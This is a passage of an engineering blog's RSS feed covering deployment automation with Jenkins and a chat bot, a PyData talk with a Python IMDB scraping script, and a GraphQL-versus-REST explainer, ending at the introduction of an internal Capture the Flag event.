3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deployment</h3> To deploy such a test we have a job on Jenkins. As you may have guessed already, the inputs to this job are: <ol> <li>Name of the test instance</li> <li>Frontend branch</li> <li>Backend branch</li> <li>Service-1 branch</li> </ol> Once this job runs, it pulls on all the above 3 branches on a remote server, does some configuration changes and creates a virtual host to work on <code class="language-text">testname.vwo.com</code>. <h3 id="more-automation" style="position:relative;"><a href="#more-automation" aria-label="more automation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>More automation</h3> Now, even this job would require the developer to open Jenkins webapp, go to job page, put in inputs and then run it. But we avoid that too - enter Ramukaka! Ramukaka is our Skype bot (<a href="https://github.com/wingify/heybot">that we have open-sourced as well</a>) which we use for various grunt tasks, such as running a Jenkins job! With Ramukaka in the picture, our test deployment looks like so: <img src="/images/2017/09/autodeploy-1.png"> Note: We have 3 components and have only 2 branches are specified. That is because the developer can skip a component if the branch to be deployed is default i.e. master. Also, the same command just pulls the latest changes in case the test instance already exists. Neat, right? <h2 id="staging" style="position:relative;"><a href="#staging" aria-label="staging permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Staging</h2> Staging has primarily 2 differences from test: <ol> <li>There is a single staging unlike multiple tests.</li> <li>There are some more build steps involved compared to a test.</li> </ol> So it's similar to a test deployment, except that before deploying it required the developer to build his/her branch like so: <img src="/images/2017/09/autodeploy-2.png"> Note: While building a branch we also inform the job about the environment to build for (eg. stagingapp above) because right now the code needs to be a bit tweaked according to the domain its deployed on. And once Ramukaka confirms a successful build, the developer can deploy the staging with that branch: <img src="/images/2017/09/autodeploy-3.png"> <h3 id="some-more-commands" style="position:relative;"><a href="#some-more-commands" aria-label="some more commands permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Some more commands</h3> As I had mentioned, we have just one staging (single gateway to production). Therefore, each deployment overwrites the previous deployment. And so it becomes important that developers do not overwrite each other's deployment by mistake. To prevent this, we have an additional command in Ramukaka called <code class="language-text">currentBranch</code>. Through this command anyone can check which branch is deployed for a particular component on the staging. Eg. if I need to check the frontend branch on staging, I would do so: <img src="/images/2017/09/autodeploy-4.png"> Now the developer can take appropriate actions based on the deployed branch. <h2 id="production" style="position:relative;"><a href="#production" aria-label="production permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Production</h2> The production is no different from the staging. Once the final round of testing is done by the QA team on staging, there are 3 things that need to be done to deploy the app on production: <ol> <li>Build the branch</li> <li>Create a tag for release on master branch</li> <li>Deploy the tag on the server</li> </ol> All the 3 tasks are handled through a single command on Ramukaka: <img src="/images/2017/09/autodeploy-5.png"> And the frontend gets deployed on production, just like that! Note: Right now only the frontend deployment is automated for production. But we plan to do it for all the components of the app. <h2 id="going-ahead" style="position:relative;"><a href="#going-ahead" aria-label="going ahead permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Going Ahead</h2> All this deployment automation saves us a huge amount of time. And we know we can save more. Using similar automation for every component of the app is something we plan to do next. Also better logging and monitoring of these environments is on the list. How do you manage multiple environments? We would love to hear about your deployment techniques if you want to share in the comments. Until next time!</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[PyData at Wingify - My Experience]]></title><description><![CDATA[About PyData I recently got an opportunity to speak at the PyData, Delhi. PyData is a tech group, with chapters in New Delhi and other…]]></description><link>https://engineering.wingify.com//posts/wingify-pydata-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-pydata-at-wingify/</guid><pubDate>Tue, 12 Sep 2017 00:00:00 GMT</pubDate><content:encoded><img src="/images/2017/06/pydata_6.jpg"> <h3 id="about-pydata" style="position:relative;"><a href="#about-pydata" aria-label="about pydata permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>About PyData</h3> I recently got an opportunity to speak at the PyData, Delhi. PyData is a tech group, with chapters in New Delhi and other regions, where Python enthusiasts share their ideas and projects related to Data Analysis and Machine Learning. <h3 id="talks-at-pydata" style="position:relative;"><a href="#talks-at-pydata" aria-label="talks at pydata permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Talks at PyData</h3> There were three talks at PyData, namely Machine Learning using Tensor Flow, Data Layer at Wingify and mine, Learning Data Analysis by Scraping Websites. All the talks were thorough and excellent! In the talk, Data layer at Wingify by <a href="https://twitter.com/mgill25">Manish Gill</a> 🤓, he talked about how we handle millions of requests at Wingify. <h3 id="some-of-images-of-the-pydata-meetup-hosted-by-wingify" style="position:relative;"><a href="#some-of-images-of-the-pydata-meetup-hosted-by-wingify" aria-label="some of images of the pydata meetup hosted by wingify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Some of Images of the PyData Meetup Hosted by Wingify.</h3> <div id="pydata-meetup-gallery"> <img src="/images/2017/06/pydata_0.jpg"> <img src="/images/2017/06/pydata_8.jpg"> <img src="/images/2017/06/pydata_7.jpg"> <img src="/images/2017/06/pydata_2.jpg"> <img src="/images/2017/06/pydata_1.jpg"> <img src="/images/2017/06/pydata_5.jpg"> <img src="/images/2017/06/pydata_4.jpg"> <img src="/images/2017/06/pydata_9.jpg"> </div> <h3 id="background-about-my-talk" style="position:relative;"><a href="#background-about-my-talk" aria-label="background about my talk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Background About My Talk</h3> Let me give you a little background. It was the Friday before the PyData Meetup/Conference. Our engineering team was doing its daily tasks. I had just grabbed a coffee to alleviate my laziness. Suddenly, our engineering lead came and asked us whether anyone could present on a topic at the PyData that we were to organise the very next day. An initial speaker, who had confirmed earlier, backed out at the last moment because he had fallen sick. I could see that most of the team members tried to avoid volunteering in such a short notice and also probably because the next day was a Saturday (though this is my personal opinion). But I had something different on my mind and during this planning or confusion, I volunteered for it 🤓. I had a project that I had done, back when I was learning Python. So I offered to present it. He agreed to it and asked me to keep the presentation ready. <h3 id="preparing-the-project--slides" style="position:relative;"><a href="#preparing-the-project--slides" aria-label="preparing the project slides permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preparing the Project &#x26; Slides</h3> That Friday night, I started searching for the old files which I had used. Finally, I found all of them on my website, downloaded them and ran the code. It worked like a charm 😍. Yeah! I quickly created the slides around it, and after finishing, smiled and went to sleep at 4.30 am. <h3 id="little-about-the-basics-of-my-talk" style="position:relative;"><a href="#little-about-the-basics-of-my-talk" aria-label="little about the basics of my talk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Little About the Basics of My Talk.</h3> The presentation that I gave was on Learning Data Analysis by Scraping Websites. During my college days, we heavily used the BeautifulSoup Library in Python to scrape websites for the many personal projects. During this project, I got the idea to scrape data from the websites which aggregated movies related data. By doing that, I thought that I could create a list of all movies that I must definitely watch. The movies had to satisfy the following criteria: <ol> <li>Release date >= 2000</li> <li>Rating > 8</li> </ol> It was not the best idea at that time to scrape websites and then analyse(Data frame). But I learned a lot of things by scraping data from the website using Beautifulsoup, then analyzing data using Pandas, visualizing data using MatplotLib (a Python library) and finally coming to conclusion about my movies recommendation. Coming back to the objective - <code class="language-text">Finding and sorting the movies released between 2000-2017 in the order of relevance</code> (I didn't want to watch movies &#x3C; 2000). Below is the code to scrape <a href="http://www.imdb.com/">IMDB</a> for movies data from 2000-2017. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">from bs4 import BeautifulSoup import urllib2 def main(): print("** ====== Data Extracting Lib -- by Promode ===== **") testUrl = "http://www.imdb.com/search/title?at=0&amp;count=100&amp;\ groups=top_1000&amp;release_date=2000,2017&amp;sort=moviemeter" pageSource = urllib2.urlopen(testUrl).read() soupPKG = BeautifulSoup(pageSource, 'lxml') titles = soupPKG.findAll("div",class_='lister-item mode-advanced') mymovieslist = [] mymovies = {} for t in titles: mymovies = {} mymovies['name'] = t.findAll("a")[1].text mymovies['year'] = str(t.find("span", "lister-item-year").text).replace('','') mymovies['rating'] = float(str(t.find("span", "rating-rating").text)\ .replace('','')[0:-3]) mymovies['runtime'] = t.find("span", "runtime").text mymovieslist.append(mymovies) print mymovieslist if __name__=="__main__": main()</code></pre></div> <a href="https://github.com/PramodDutta/ScrapToDataAnalysis">Click here</a> to have a look at the full source code. You can see the trends like <code class="language-text">Maximum Rating - Sorted by Rating</code>, <code class="language-text">Year Vs Rating Trend</code> <div style="text-align:center; margin: 10px;"> <img src="/images/2017/06/pydata_1_M.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">DataFrame - Rating is Set as Index</div> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2017/06/pydata_tt.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">Maximum Rating - Sorted by Rating</div> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2017/06/pydata_graph.png" style="box-shadow: 2px 2px 10px 1px #aaa"> <div style="margin: 10px;">Year Vs Rating Trend</div> </div> <h3 id="take-away-from-the-talk" style="position:relative;"><a href="#take-away-from-the-talk" aria-label="take away from the talk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Take away from the Talk</h3> With this method, you would have winner's data from the data set. For example, suppose you want to create a Cricket Team(IPLT20) which has the maximum probability to win the match, what you can do is parse the <a href="http://www.iplt20.com/">IPLT20</a>) website for last 5 years' data and select the top 5 batsmen and 6 bowlers 😎. <h3 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> I totally understand that this may not be the best project for the data analysis. I am still learning and I showed what I had done. I believe that it served my purpose. I will be doing more research on data analysis in Python. Thanks for reading this. Below is my talk slides: <h3 id="slides" style="position:relative;"><a href="#slides" aria-label="slides permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Slides:</h3> Slides :- <iframe src="//slides.com/pramoddutta-1/deck/embed" width="100%" height="600px" scrolling="no" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></content:encoded><author>Pramod Dutta</author></item><item><title><![CDATA[Demand-driven APIs Using GraphQL]]></title><description><![CDATA[Introduction This article will deal with the issues we face with the current API architecture (mostly REST) and why demand-driven APIs seem…]]></description><link>https://engineering.wingify.com//posts/demand-drive-apis-using-graphql/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/demand-drive-apis-using-graphql/</guid><pubDate>Thu, 31 Aug 2017 00:00:00 GMT</pubDate><content:encoded><h3 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h3> This article will deal with the issues we face with the current API architecture (mostly REST) and why demand-driven APIs seem a perfect replacement for it. We will also talk in brief, about <a href="http://graphql.org/learn/">GraphQL</a> and how it is a feasible solution for implementing demand-driven applications. Note: This article is inspired from <a href="https://www.slideshare.net/vincirufus/demand-driven-applications-with-graphql-78403822">Demand driven Applications with GraphQL</a> by <a href="https://www.linkedin.com/in/vinci">Vinci Rufus</a> at <a href="http://2017.jschannel.com/">JS Channel 2017</a>. <h3 id="why-demand-driven-api-whats-wrong-with-rest" style="position:relative;"><a href="#why-demand-driven-api-whats-wrong-with-rest" aria-label="why demand driven api whats wrong with rest permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why Demand-driven API? What's wrong with REST?</h3> Let's take a simple example of author &#x26; articles. If we are given a requirement to develop an API to fetch authors or articles, it will most probably go like this, if we follow REST: <ul> <li> GET /authors/:authorId </li> <li> GET /articles/:articleId </li> </ul> Let's taken an example where we have to show an article snippet on my website's dashboard. We would need its title, description &#x26; author name. So we hit the latter end point and it will give a response like: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">{ title: 'Demand Driven APIs Using GraphQL', createdAt: '2017-04-25', updatedAt: '2017-08-25', articleId: '96', authorId: 50, status: 'published', description: 'Lorem Ipsum...' }</code></pre></div> There are two problems with this response: <ol> <li>Extra information: We only needed the title &#x26; description but we got everything related to the article and we cannot get rid of this extra payload as this extra information might be getting consumed at some other page i.e. Edit Article Page.</li> <li>Missing information: We were expecting author name but instead we got authorId. This is bad and to solve this we would probably be making another network call on the former end point to get the author name. It's an overhead making 2 network calls just to fetch 3 parameters, don't you think? Also, it will just get more complex as we include more resources i.e. comments, images etc.</li> </ol> <h3 id="how-demand-driven-applications-work" style="position:relative;"><a href="#how-demand-driven-applications-work" aria-label="how demand driven applications work permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How Demand-driven Applications Work?</h3> Now that we understand few issues with REST based APIs, we need a smart system which can give me the exact information required instead of giving me partial/extra information.This can be solved if the client demands what it actually needs and server gives it only that piece of information. This can be done using GraphQL. Let's try to solve our problem using GraphQL. The exact information that our client need can be represented in GraphQL as: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">{ article (id: articleId) { title, description, author { name } } }</code></pre></div> The server can have a single end point with the following <a href="http://graphql.org/learn/schema/">schema</a>: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">type Article(id: Integer) { title: String, description: String, status: String, createdAt: Date, updatedAt: Date, status: String, author: Author } type Author(id: Integer) { name: String, email: String, photo: Picture, followers: [User] } type Picture(id: Integer) { imgPath: String, imgHeight: Integer, imgWidth: Integer }</code></pre></div> And each field in our schema can have a function to fetch that piece of information. In our case: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> function Article(id) { return Article.find(id); } function Article_title(article) { return article.title; } function Article_description(article) { return article.description; } function Article_author(article) { return article.author; } function Author_name(author) { return author.name; }</code></pre></div> On querying the data, we get i.e. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">curl -XGET http://myapp/articles -d "query={ article(id: 1) { title, description, author { name } } }"</code></pre></div> We will get like this: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">{ title: 'Demand Driven APIs Using GraphQL', description: 'Lorem Ipsum...', author: { name: 'Sahil Batla' } }</code></pre></div> This is what we needed, now we can keep the endpoint same and tweak with fields required to display relevant information at any page of our website. <h3 id="advantages-of-demand-driven-apis" style="position:relative;"><a href="#advantages-of-demand-driven-apis" aria-label="advantages of demand driven apis permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Advantages of Demand-driven APIs</h3> <ol> <li>Single end point for serving any piece of information.</li> <li>Less payload of data as no extra information is served.</li> <li>Versioning of APIs become simpler as we can control the exact information required.</li> </ol> <h3 id="disadvantages-of-demand-driven-apis" style="position:relative;"><a href="#disadvantages-of-demand-driven-apis" aria-label="disadvantages of demand driven apis permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Disadvantages of Demand-driven APIs</h3> <ol> <li>Latency may increase due to a single end point handling all the querying of data.</li> <li>No lazy loading possible as it's a single call which will contain all the data.</li> </ol> <h3 id="try-it-out" style="position:relative;"><a href="#try-it-out" aria-label="try it out permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Try it Out</h3> If you think GraphQL is promising go ahead and try it out. There is much more to it that you will love to learn. Check out its <a href="http://graphql.org/learn/">official documentation</a>. It has been implemented in all the well known languages and you can find it all <a href="http://graphql.org/code/">here</a>.</content:encoded><author>Sahil Batla</author></item><item><title><![CDATA[Wingify's First Internal CTF]]></title><description><![CDATA[Capture the Flag (CTF) is a special kind of information security competition which provides a safe and legal way to try your hand at hacking…]]></description><link>https://engineering.wingify.com//posts/wingify-capture-the-flag/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-capture-the-flag/</guid><pubDate>Fri, 19 May 2017 00:00:00 GMT</pubDate><content:encoded> <img src="/images/2017/05/ctf_logo.png"> Have you ever seen a bunch of geeks lock themselves up in a room, hacking throughout the day? This was witnessed when Wingify had its very first Capture The Flag battle. Capture the Flag (CTF) is a special kind of information security competition which provides a safe and legal way to try your hand at hacking challenges. We have learned a lot of computer science and security concepts in classes, and by reading articles. But participating in a CTF actually teaches how to break into things when they are not implemented properly, which happens all the time in the real world. In this, all you need to do is to find a flag which is a proof that you solved the 